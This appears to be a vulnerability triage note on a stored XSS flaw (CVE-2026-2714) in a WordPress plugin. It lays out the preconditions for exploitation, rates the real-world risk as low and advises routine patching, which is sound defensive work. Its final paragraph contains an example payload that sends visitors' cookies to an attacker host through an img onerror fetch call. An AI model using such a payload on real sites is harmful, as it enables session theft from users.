Institute Management CVE-2026-2714

Exploitation requires: (1) authenticated Administrator-level or above account access to the WordPress backend; (2) multi-site WordPress installation OR single-site installation with unfiltered_html capability explicitly disabled; (3) access to the Institute Management plugin settings page (admin/inc/wl_im_settings.php); (4) user victims must visit a page displaying the affected Enquiry Form Title output. Single-site installations with default unfiltered_html capability enabled are NOT affected, as WordPress core filters will strip tags. The vulnerability does NOT affect unauthenticated remote attackers or lower-privileged user roles (Contributor, Author, Editor without admin capability).

This is a low real-world priority despite stored XSS classification. Multiple factors significantly constrain exploitability: (1) CVSS PR:H (Administrator-level access required) means only trusted insiders or accounts compromised through other means can trigger the vulnerability; (2) AC:H (High Complexity) suggests non-trivial conditions or configuration state must be met; (3) the multi-site AND unfiltered_html-disabled requirement creates a compound condition that eliminates the majority of WordPress installations; (4) S:C (Changed Scope) indicates the XSS is scoped to an administrative context, not site-wide user interactions. No KEV status, POC, or EPSS score provided. The vulnerability aligns more with privilege escalation (admin exploits admin) or post-compromise lateral movement (insider threat) than broad external attack. Organizations running single-site WordPress with default unfiltered_html capability enabled are unaffected. This should not trigger emergency patching protocols but should be included in routine plugin updates.

An authenticated Administrator account (either a trusted insider or compromised via credential theft or session hijacking) navigates to Institute Management plugin settings and injects JavaScript into the 'Enquiry Form Title' field, e.g., '<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">'. When the enquiry form is displayed on the front-end, the stored XSS payload executes in users' browsers, stealing cookies or redirecting to a phishing site. On a multi-site installation, the payload could affect all subsite users accessing the form.